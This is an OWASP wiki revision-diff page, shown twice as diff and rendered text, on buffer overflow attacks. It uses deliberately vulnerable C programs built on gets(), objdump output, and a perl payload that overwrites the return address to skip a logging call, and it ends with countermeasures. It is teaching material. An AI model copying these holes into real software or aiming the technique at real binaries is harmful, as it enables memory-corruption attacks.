Difference between revisions of "Buffer overflow attack"

From OWASP
Jump to: navigation, search
Line 1: Line 1:
 
{{Template:Attack}}
 
{{Template:Attack}}
 
{{Template:Stub}}
 
  
 
==Description==
 
==Description==
  
This article should cover the techniques used by attackers to attack buffer overflow vulnerabilities.
+
Buffer overflow errors are characterized by the overwriting these memory
 +
fragments of the proccess, which should have never been modified
 +
intentionally or unintentionally.
 +
Overwriting values of the IP (Instruction Pointer), BP (Base Pointer)
 +
and other registers causes exceptions, segmentation faults and other
 +
errors to occur. Usually these errors ends execution of the application
 +
in an unexpected way.
 +
Buffer overflow errors occurs when we operate on buffers of char type.
 +
 
 +
BO (common name for this kind of errors) is simply a stack or heap overflow.
 +
We don't distinguish beetwen these two in this article to avoid reader's confusion.
 +
Details about using stack and heap overflow techniques reader will find in
 +
the separate articles.
 +
 
 +
Below examples are written in C language under GNU/Linux system on x86 architecture.
  
 
==Examples ==
 
==Examples ==
 +
 +
Example:
 +
<pre>
 +
  #include <stdio.h>
 +
  int main(int argc, char **argv)
 +
  {
 +
  char buf[8]; // buffer for eight characters
 +
  gets(buf); // read from stdio (sensitive function!)
 +
  printf("%s\n", buf); // print out data stored in buf
 +
  return 0; // 0 as return value
 +
  }
 +
</pre>
 +
This very simple application reads from the standard input an array of the
 +
characters and copies it into the buffer of the char type. The size of this
 +
buffer is eight characters. After that the content of the buffer is displayed
 +
and application exits.
 +
 +
Program compilation:
 +
<pre>
 +
  rezos@spin ~/inzynieria $ gcc bo-simple.c -o bo-simple
 +
  /tmp/ccECXQAX.o: In function `main':
 +
  bo-simple.c:(.text+0x17): warning: the `gets' function is dangerous and
 +
  should not be used.
 +
</pre>
 +
At this stage even compiler suggests us that the used function gets() doesn't belong
 +
to the safe ones.
 +
 +
Usage example:
 +
<pre>
 +
  rezos@spin ~/inzynieria $ ./bo-simple // program start
 +
  1234 // we eneter "1234" string from the keyboard
 +
  1234 // program prints out the conent of the buffer
 +
  rezos@spin ~/inzynieria $ ./bo-simple // start
 +
  123456789012 // we eneter "123456789012"
 +
  123456789012 // content of the buffer "buf" ?!?!
 +
  Segmentation fault // information about memory segmenatation fault
 +
</pre>
 +
Definitely we manage (un)luckily to execute faulty operation by
 +
the program and provoke it to exit abnormally.
 +
 +
Problem analysis:
 +
 +
The program calls a function, which operate on char type buffer and does no
 +
checks against overflowing the size assigned to this buffer.
 +
As an aftermath it is possible to intentionally or unintentionally store more
 +
data in the buffer what will cause an error. The following question arises:
 +
The buffer stores only eight characters, so why function printf() displayed twelve?.
 +
The anserw come off the process memory organisation. Four characters which overflowed
 +
the buffer also overwrite the value stored in one of the registers, which was
 +
necessary for the correct function return. Memory continuity resulted in printing
 +
out the data stored in this memory area.
 +
 +
Example 2
 +
<pre>
 +
  #include <stdio.h>
 +
  #include <string.h>
 +
 +
  void doit(void)
 +
  {
 +
          char buf[8];
 +
 +
          gets(buf);
 +
          printf("%s\n", buf);
 +
  }
 +
 +
  int main(void)
 +
  {
 +
          printf("So... The End...\n");
 +
          doit();
 +
          printf("or... maybe not?\n");
 +
 +
          return 0;
 +
  }
 +
</pre>
 +
This example is analogous to the first one. In addition before and after doit()
 +
function we have two calls to function printf().
 +
<pre>
 +
  Compilation:
 +
 +
  rezos@dojo-labs ~/owasp/buffer_overflow $ gcc example02.c -o example02
 +
  -ggdb
 +
  /tmp/cccbMjcN.o: In function `doit':
 +
  /home/rezos/owasp/buffer_overflow/example02.c:8: warning: the `gets'
 +
  function is dangerous and should not be used.
 +
 +
  Usage example:
 +
  rezos@dojo-labs ~/owasp/buffer_overflow $ ./example02
 +
  So... The End...
 +
  TEST                  // user data on input
 +
  TEST                  // print out stored user data
 +
  or... maybe not?
 +
</pre>
 +
Program between two defined printf() calls displays content of the buffer,
 +
which is filled with data entered by the user.
 +
<pre>
 +
  rezos@dojo-labs ~/owasp/buffer_overflow $ ./example02
 +
  So... The End...
 +
  TEST123456789
 +
  TEST123456789
 +
  Segmentation fault
 +
</pre>
 +
Because of defined size of the buffer (char buf[8]) and filling it with
 +
thirteen characters of char type, the buffer was overflowed.
 +
 +
If our binary application is in ELF format, then we are able to use an objdump
 +
program to analise it and find necessery information to exploit buffer overflow
 +
error.
 +
 +
Below is an output produced by the objdump. From that output we are able to
 +
find addresses, where printf() is called (0x80483d6 and 0x80483e7).
 +
<pre>
 +
  rezos@dojo-labs ~/owasp/buffer_overflow $ objdump -d ./example02
 +
 +
  080483be <main>:
 +
  80483be:      8d 4c 24 04            lea    0x4(%esp),%ecx
 +
  80483c2:      83 e4 f0                and    $0xfffffff0,%esp
 +
  80483c5:      ff 71 fc                pushl  0xfffffffc(%ecx)
 +
  80483c8:      55                      push  %ebp
 +
  80483c9:      89 e5                  mov    %esp,%ebp
 +
  80483cb:      51                      push  %ecx
 +
  80483cc:      83 ec 04                sub    $0x4,%esp
 +
  80483cf:      c7 04 24 bc 84 04 08    movl  $0x80484bc,(%esp)
 +
  80483d6:      e8 f5 fe ff ff          call  80482d0 <puts@plt>
 +
  80483db:      e8 c0 ff ff ff          call  80483a0 <doit>
 +
  80483e0:      c7 04 24 cd 84 04 08    movl  $0x80484cd,(%esp)
 +
  80483e7:      e8 e4 fe ff ff          call  80482d0 <puts@plt>
 +
  80483ec:      b8 00 00 00 00          mov    $0x0,%eax
 +
  80483f1:      83 c4 04                add    $0x4,%esp
 +
  80483f4:      59                      pop    %ecx
 +
  80483f5:      5d                      pop    %ebp
 +
  80483f6:      8d 61 fc                lea    0xfffffffc(%ecx),%esp
 +
  80483f9:      c3                      ret
 +
  80483fa:      90                      nop
 +
  80483fb:      90                      nop
 +
</pre>
 +
If the second call to printf() would inform administrator about user
 +
logout (e.g. closed session), then we can try to omit this step and
 +
finish without call to printf().
 +
<pre>
 +
rezos@dojo-labs ~/owasp/buffer_overflow $ perl -e 'print "A"x12
 +
."\xf9\x83\x04\x08"' | ./example02
 +
So... The End...
 +
AAAAAAAAAAAAu*.
 +
Segmentation fault
 +
</pre>
 +
Application finished its execution with segmentation fault but the second
 +
call to printf() had no place.
 +
 +
A few words of explanation:
 +
 +
perl -e 'print "A"x12 ."\xf9\x83\x04\x08"' - will print out twelve "A"
 +
characters and then four characters, which are in fact an address of the
 +
instruction we want to execute. Why twelve?
 +
<pre>
 +
    8 // size of buf (char buf[8])
 +
  +  4 // four additional bytes for overwriting stack frame pointer
 +
  ----
 +
    12
 +
</pre>
 +
Problem analysis:
 +
 +
The issue is the same as in the first example. There is no control over
 +
the size of the copied buffer into the previously declared one. In this
 +
example we overwrite EIP register with address 0x080483f9, which is in
 +
fact call to ret in the last phase of the program execution.
 +
 +
How to use buffer overflow errors in a different way?
 +
 +
Generally explotation of these errors may lead to:
 +
* application DoS
 +
* reordering execution of functions
 +
* code execution (if we are able to inject the shellcode - described in the separate document)
 +
 +
How buffer overflow errors are made?
 +
 +
This kind of errors are very easy to make. For years they were programmer's
 +
nightmare. The problem lies in native C functions, which don't care about doing
 +
appropriate buffers length checks. Below is the list of such functions and if exists,
 +
their safe equivalents:
 +
 +
* gets() -> fgets() - read characters
 +
* strcpy() -> strncpy() - copy content of the buffer
 +
* strcat() -> strncat() - buffers concatation
 +
* sprintf() -> snprintf() - fill buffer with data of different types
 +
* (f)scanf() - read from STDIN
 +
* getwd() - return working directory
 +
* realpath() - return absolut (full) path
  
 
==Related Threats==
 
==Related Threats==
 +
 +
[[Off-by-one]]
  
 
==Related Attacks==
 
==Related Attacks==
 +
 +
[[Stack overflow attack]]
 +
 +
[[Heap overflow attack]]
 +
 +
[[Format string attack]]
  
 
==Related Vulnerabilities==
 
==Related Vulnerabilities==
 +
 +
[[Format string]]
 +
 +
[[Heap overflow]]
  
 
==Related Countermeasures==
 
==Related Countermeasures==
 +
 +
1)
 +
Use safe equivalent functions, which check the buffers length, whenever it's possible.
 +
 +
Namely:
 +
*gets() -> fgets()
 +
*strcpy() -> strncpy()
 +
*strcat() -> strncat()
 +
*sprintf() -> snprintf()
 +
 +
2)
 +
These functions which doesn't have their safe equivalents should be rewritten
 +
with safe checks implemented. Time spent on that will benefit in the future.
 +
Remember that you have to do it only once.
 +
 +
3)
 +
Use compilers, which are able to identify unsafe functions, logic errors and
 +
check if the memory is overwritten when and where it shouldn't be.
 +
 +
==Categories==
 +
 +
[[Category:Data Structure Attacks]]
  
 
[[Category:Attack]]
 
[[Category:Attack]]

Revision as of 17:06, 24 October 2007

This is an Attack. To view all attacks, please see the Attack Category page.


Description

Buffer overflow errors are characterized by the overwriting these memory fragments of the proccess, which should have never been modified intentionally or unintentionally. Overwriting values of the IP (Instruction Pointer), BP (Base Pointer) and other registers causes exceptions, segmentation faults and other errors to occur. Usually these errors ends execution of the application in an unexpected way. Buffer overflow errors occurs when we operate on buffers of char type.

BO (common name for this kind of errors) is simply a stack or heap overflow. We don't distinguish beetwen these two in this article to avoid reader's confusion. Details about using stack and heap overflow techniques reader will find in the separate articles.

Below examples are written in C language under GNU/Linux system on x86 architecture.

Examples

Example:

  #include <stdio.h>
  int main(int argc, char **argv)
  {
  char buf[8]; // buffer for eight characters
  gets(buf); // read from stdio (sensitive function!)
  printf("%s\n", buf); // print out data stored in buf
  return 0; // 0 as return value
  }

This very simple application reads from the standard input an array of the characters and copies it into the buffer of the char type. The size of this buffer is eight characters. After that the content of the buffer is displayed and application exits.

Program compilation:

  rezos@spin ~/inzynieria $ gcc bo-simple.c -o bo-simple
  /tmp/ccECXQAX.o: In function `main':
  bo-simple.c:(.text+0x17): warning: the `gets' function is dangerous and
  should not be used.

At this stage even compiler suggests us that the used function gets() doesn't belong to the safe ones.

Usage example:

  rezos@spin ~/inzynieria $ ./bo-simple // program start
  1234 // we eneter "1234" string from the keyboard
  1234 // program prints out the conent of the buffer
  rezos@spin ~/inzynieria $ ./bo-simple // start
  123456789012 // we eneter "123456789012"
  123456789012 // content of the buffer "buf" ?!?!
  Segmentation fault // information about memory segmenatation fault

Definitely we manage (un)luckily to execute faulty operation by the program and provoke it to exit abnormally.

Problem analysis:

The program calls a function, which operate on char type buffer and does no checks against overflowing the size assigned to this buffer. As an aftermath it is possible to intentionally or unintentionally store more data in the buffer what will cause an error. The following question arises: The buffer stores only eight characters, so why function printf() displayed twelve?. The anserw come off the process memory organisation. Four characters which overflowed the buffer also overwrite the value stored in one of the registers, which was necessary for the correct function return. Memory continuity resulted in printing out the data stored in this memory area.

Example 2

  #include <stdio.h>
  #include <string.h>

  void doit(void)
  {
          char buf[8];

          gets(buf);
          printf("%s\n", buf);
  }

  int main(void)
  {
          printf("So... The End...\n");
          doit();
          printf("or... maybe not?\n");

          return 0;
  }

This example is analogous to the first one. In addition before and after doit() function we have two calls to function printf().

  Compilation:

  rezos@dojo-labs ~/owasp/buffer_overflow $ gcc example02.c -o example02
  -ggdb
  /tmp/cccbMjcN.o: In function `doit':
  /home/rezos/owasp/buffer_overflow/example02.c:8: warning: the `gets'
  function is dangerous and should not be used.

  Usage example:
  rezos@dojo-labs ~/owasp/buffer_overflow $ ./example02
  So... The End...
  TEST                   // user data on input
  TEST                  // print out stored user data
  or... maybe not?

Program between two defined printf() calls displays content of the buffer, which is filled with data entered by the user.

  rezos@dojo-labs ~/owasp/buffer_overflow $ ./example02
  So... The End...
  TEST123456789
  TEST123456789
  Segmentation fault

Because of defined size of the buffer (char buf[8]) and filling it with thirteen characters of char type, the buffer was overflowed.

If our binary application is in ELF format, then we are able to use an objdump program to analise it and find necessery information to exploit buffer overflow error.

Below is an output produced by the objdump. From that output we are able to find addresses, where printf() is called (0x80483d6 and 0x80483e7).

  rezos@dojo-labs ~/owasp/buffer_overflow $ objdump -d ./example02

  080483be <main>:
   80483be:       8d 4c 24 04             lea    0x4(%esp),%ecx
   80483c2:       83 e4 f0                and    $0xfffffff0,%esp
   80483c5:       ff 71 fc                pushl  0xfffffffc(%ecx)
   80483c8:       55                      push   %ebp
   80483c9:       89 e5                   mov    %esp,%ebp
   80483cb:       51                      push   %ecx
   80483cc:       83 ec 04                sub    $0x4,%esp
   80483cf:       c7 04 24 bc 84 04 08    movl   $0x80484bc,(%esp)
   80483d6:       e8 f5 fe ff ff          call   80482d0 <puts@plt>
   80483db:       e8 c0 ff ff ff          call   80483a0 <doit>
   80483e0:       c7 04 24 cd 84 04 08    movl   $0x80484cd,(%esp)
   80483e7:       e8 e4 fe ff ff          call   80482d0 <puts@plt>
   80483ec:       b8 00 00 00 00          mov    $0x0,%eax
   80483f1:       83 c4 04                add    $0x4,%esp
   80483f4:       59                      pop    %ecx
   80483f5:       5d                      pop    %ebp
   80483f6:       8d 61 fc                lea    0xfffffffc(%ecx),%esp
   80483f9:       c3                      ret
   80483fa:       90                      nop
   80483fb:       90                      nop

If the second call to printf() would inform administrator about user logout (e.g. closed session), then we can try to omit this step and finish without call to printf().

rezos@dojo-labs ~/owasp/buffer_overflow $ perl -e 'print "A"x12
."\xf9\x83\x04\x08"' | ./example02
So... The End...
AAAAAAAAAAAAu*.
Segmentation fault

Application finished its execution with segmentation fault but the second call to printf() had no place.

A few words of explanation:

perl -e 'print "A"x12 ."\xf9\x83\x04\x08"' - will print out twelve "A" characters and then four characters, which are in fact an address of the instruction we want to execute. Why twelve?

     8 // size of buf (char buf[8])
  +  4 // four additional bytes for overwriting stack frame pointer
  ----
    12

Problem analysis:

The issue is the same as in the first example. There is no control over the size of the copied buffer into the previously declared one. In this example we overwrite EIP register with address 0x080483f9, which is in fact call to ret in the last phase of the program execution.

How to use buffer overflow errors in a different way?

Generally explotation of these errors may lead to:

  • application DoS
  • reordering execution of functions
  • code execution (if we are able to inject the shellcode - described in the separate document)

How buffer overflow errors are made?

This kind of errors are very easy to make. For years they were programmer's nightmare. The problem lies in native C functions, which don't care about doing appropriate buffers length checks. Below is the list of such functions and if exists, their safe equivalents:

  • gets() -> fgets() - read characters
  • strcpy() -> strncpy() - copy content of the buffer
  • strcat() -> strncat() - buffers concatation
  • sprintf() -> snprintf() - fill buffer with data of different types
  • (f)scanf() - read from STDIN
  • getwd() - return working directory
  • realpath() - return absolut (full) path

Related Threats

Off-by-one

Related Attacks

Stack overflow attack

Heap overflow attack

Format string attack

Related Vulnerabilities

Format string

Heap overflow

Related Countermeasures

1) Use safe equivalent functions, which check the buffers length, whenever it's possible.

Namely:

  • gets() -> fgets()
  • strcpy() -> strncpy()
  • strcat() -> strncat()
  • sprintf() -> snprintf()

2) These functions which doesn't have their safe equivalents should be rewritten with safe checks implemented. Time spent on that will benefit in the future. Remember that you have to do it only once.

3) Use compilers, which are able to identify unsafe functions, logic errors and check if the memory is overwritten when and where it shouldn't be.

Categories